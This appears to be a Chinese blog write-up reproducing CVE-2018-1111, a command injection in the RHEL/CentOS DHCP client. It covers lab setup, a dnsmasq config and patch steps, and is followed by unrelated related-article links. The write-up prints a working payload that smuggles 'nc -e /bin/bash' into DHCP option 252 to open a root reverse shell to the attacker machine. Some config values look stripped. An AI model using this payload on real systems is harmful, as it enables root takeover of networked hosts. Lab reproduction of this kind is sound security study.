0×01 前言

2018年5月,在Red Hat Enterprise Linux多个版本的DHCP客户端软件包所包含的NetworkManager集成脚本中发现了命令注入漏洞(CVE-2018-1111),该漏洞目前已经进行了修补。攻击者可以通过本地网络上的恶意DHCP服务器或使用恶意的虚假DHCP响应来利用此漏洞进行攻击,一旦攻击成功,则可以在配置了DHCP的NetworkManager的系统上以root权限执行任意命令。

0×02 漏洞影响面

影响版本

  • Red Hat Enterprise Linux Server 6
  • Red Hat Enterprise Linux Server 7
  • CentOS 6
  • CentOS 7

0×03 环境搭建

攻击机:kali linux   ip:192.168.1.14
受害机:centos7 ip:192.168.1.15

 一、配置虚拟网络

打开VM虚拟机-菜单栏-编辑-虚拟网络编辑器,设置仅主机模式(关掉dhcp,设置ip)。

将 攻击机 和 受害机 网络配置成仅主机模式:

二、搭建dhcp服务

先在kali下设置一下网络

配置ip
ifconfig eth0 192.168.1.11 netmask 255.255.255.0
配置网管
route add default gw 192.168.1.11

在当前目录新建一个dnsmasq.conf文件,填入以下内容进行配置:

bind-interfaces

interface=eth0

except-interface=lo

dhcp-range=192.168.1.20,192.168.1.30,12h

dhcp-option=,192.168.1.11

dhcp-option=,192.168.1.11

log-queries

log-facility=/var/log/dnsmasq.log

参数解释

dhcp-range: 表示要分配给客户机的 ip 地址范围和租约时间

dhcp-option: 表示指定给 DHCP 客户端的选项信息

log-facility: 表示日志记录器

其中配置文件中包括的 option 取值及含义如下:

: 设置网关地址选项

: 设置 DNS 服务器地址选项

: 为 DHCP 客户端提供了一个用于配置其代理设置的 URL,wpad-proxy-url

payload 中涉及到的 option 252 是私人使用保留部分的一部分, 为 dhcp 服务器使用 252,然后在他们的浏览器中写入与 dhcp 服务器交谈的能力,并要求代码 252 从该选项列出的 URL 中获取关于网络上代理设置的信息。

这里 dnsmasq.conf中的dhcp-range设置:

为客户端分配 192.168.1.20-192.168.1.30/ 这个 ip 地址范围,租约时间为 12h。

  

0×04 命令注入

利用dnsmasq伪造dns服务器,命令执行 payload 如下:

dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.1.11 6666 #"

  

监听6666端口:

nc -lvp 

  重启CentOS的网络服务,然后shell就反弹回来了:

我们按一下centos的ip地址,在我们制定的ip段内(192.168.20-192.168.1.30)

0×05 修复方案

终端下执行

更新dhcp
yum -y update dhclient
查看更新日志
rpm -qa --changelog dhclient | grep CVE-
- Resolves: # - Fix CVE--: Do not parse backslash as escape character

 

CVE-2018-1111漏洞复现-环境搭建与dhcp命令注入的更多相关文章

  1. docker漏洞复现环境搭建

    0x00 docker简介 把原来的笔记整理了一下,结合前几天的一个漏洞,整理一篇简单的操作文档,希望能帮助有缘人. docker是一个开源的应用容器引擎,开发者可以打包自己的应用到容器里面,然后迁移 ...

  2. KALI搭建Docker+Vulhub漏洞复现环境

    在学习网络安全的过程中,少不了的就是做漏洞复现,而漏洞复现一般比较常用的方式就是使用docker-vulhub进行环境搭建,我近期也遇到了这个问题,但是网上的教程特别混乱,根本起不到帮助作用,即使有可 ...

  3. 漏洞复现环境集锦-Vulhub

    0x01 Vulhub简介 Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译.运行一个完整的漏洞靶场镜像. 0x02 安装 # 安装pip curl -s ht ...

  4. 漏洞复现-2.x rce-Thinkphp远程命令执行

                0x00实验环境 攻击机:win10 靶机:Ubuntu18 (docker搭建的vulhub靶场) 0x01影响版本 影响Thinkphp 2.x的版本 0x02实验目的 学 ...

  5. Flutter环境搭建以及快捷命令

    Flutter环境搭建 配置环境变量 用户变量 FLUTTER_STORAGE_BASE_URL : https://storage.flutter-io.cn PUB_HOSTED_URL : ht ...

  6. 2018.8.19 mybatis 环境搭建---配置mysql 。(Windows环境下面)

    安装mysql Install/Remove of the Service Denied!错误的解决办法 在windos 的cmd下安装mysql 在mysql的bin目录下面执行: mysqld - ...

  7. DoraBox漏洞测试环境搭建和测试过程

    未完待续...

  8. Redis学习——环境搭建以及基础命令使用

    0. 前言: 这篇文章旨在对redis环境的搭建以及对redis有个大概的认识. 一.redis搭建: 环境:ubuntu 14 软件包:redis-3.0.3.tar.gz 安装步骤: 1. 首先解 ...

  9. 【漏洞复现】PHPCMS wap模块 SQL注入(附EXP)

    漏洞影响版本:v9.5.8.v9.6.0 Step1: 访问:http://www.xxx.com/index.php?m=wap&a=index&siteid=1, 获取返回的coo ...

随机推荐

  1. Eclipse中搭建Android开发环境

    一.搭建Android开发环境 准备工作:下载Eclipse.JDK.Android SDK.ADT插件 下载地址:Eclipse:http://www.eclipse.org/downloads/ ...

  2. 在C#中生成GUID的方法

    var guid = Guid.NewGuid();Debug.WriteLine(guid.ToString());   //1f3c6041-c68f-4ab3-ae19-f66f541e3209 ...

  3. 运用Edraw为WPF应用程序嵌入Office文档的方法总结

    具体描述了运用Edraw Office Viewer Component为WPF应用长须嵌入MS Word,Excel以及Power Point的方法. 打开Visual Studio,并创建一个新的 ...

  4. 如何设置树莓派的VNC开机时启动

    转载:http://www.linuxidc.com/Linux/2016-12/138793.htm 下面正式开始配置 首先 sudo nano /etc/init.d/vncserver 然后 复 ...

  5. nginx下的nagios pnp4nagios

    #Spawn-FCGI 一个通用的FastCGI管理服务器,它是lighttpd中的一部份,很多人都用Lighttpd的Spawn-FCGI进行FastCGI模式下的管理工作 #fcgiwrap(Si ...

  6. (三)svn 服务器端之创建仓库

    创建仓库 svn服务端创建完成需要创建仓库,仓库中存放 要被管理的文件. 通过开始菜单进入  VisualSVN server manager: 主界面为: 右键点击Repositories创建仓库 ...

  7. zt dup() 和 dup2()

    dup() 和 dup2() 2011-10-07 11:06:31|  分类: Linux学习心得 |字号 订阅   dup和dup2都可用来复制一个现存的文件描述符,使两个文件描述符指向同一个fi ...

  8. OC 内存管理(retain和release)

    内存管理 retain和release简单使用 #import "Student.h" @implementation Student @synthesize age = _age ...

  9. csu 1965

    Description You are a boss who has N employers. One day, you have a message and you want to tell it ...

  10. c#运用this.invoke() 在多线程时对UI进行修改

    什么是进程呢?当一个程序开始运行时,它就是一个进程,进程所指包括运行中的程序和程序所使用到的内存和系统资源.而一个进程又是由多个线程所组成的,线程是程序中的一个执行流,每个线程都有自己的专有寄存器(栈 ...